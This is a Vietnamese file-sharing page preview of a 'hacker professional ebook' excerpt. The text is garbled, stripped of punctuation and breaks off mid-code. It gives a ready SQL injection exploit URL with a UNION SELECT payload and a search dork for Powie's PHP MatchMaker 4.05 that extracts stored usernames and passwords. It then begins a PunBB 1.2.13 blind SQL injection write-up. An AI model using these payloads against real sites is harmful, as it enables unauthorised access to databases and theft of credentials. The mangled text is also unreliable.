Đang chuẩn bị nút TẢI XUỐNG, xin hãy chờ
Tải xuống
Tham khảo tài liệu 'hacker professional ebook part 423', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | else echo exploit failed. Black_hat_cr HCE Powie s PHP MatchMaker v4.05 matchdetail Remote SQL Injection Exploit Powie s PHP MatchMaker v4.05 matchdetail Remote SQL Injection Exploit Critical Level Dangerous Venedor site http www.powie.de Version v4.05 DORK Powie s PSCRIPT MatchMaker 4.05 Exploit -------------------- http target.com path to script matchdetail.php edit -1 UNION SELECT 0 0 0 pwd 0 0 0 0 0 username 0 0 0 0 FROM pfuser WHERE id 1 Discoverd By SHiKaA Black_hat_cr HCE PunBB 1.2.13 Multiple Vulnerabilities PHP Code 0 Application description From punbb.org PunBB is a fast and lightweight PHP powered discussion board. It is released under the GNU Public License. Its primary goal is to be a faster smaller and less graphic alternative to otherwise excellent discussion boards such as phpBB Invision Power Board or vBulletin. PunBB has fewer features than many other discussion boards but is generally faster and outputs smaller pages. i SQL Injection Vulnerability 1 Overview PunBB is prone to an SQL injection in the search module because of an unitialized variable which is undirectly passed into an SQL query without any check. Using this vulnerability a visitor can perform blind SQL injections which can lead to the content disclosure of any data stored in the database. The exploitation of this flaw uses the PHP Zend_Hash_Del_Key_Or_Index vulnerability and thus requires register_globals enabled and PHP 4.4.2 or PHP 5.1.3 on the server where PunBB is installed. 2 Explanations This vulnerability is grounded on both a mistake in PunBB code with an unitialized variable and PHP Zend_Hash_Del_Key_Or_Index vulnerability which allows to bypass the globals deregistration process that comes with PunBB. First of all have a look at the unregister_globals function in include functions.php BEGIN OF CODE function unregister_globals Prevent script.php GLOBALS foo bar if isset _REQUEST GLOBALS isset _FILES GLOBALS exit I ll have a steak sandwich and. a steak sandwich. Variables .
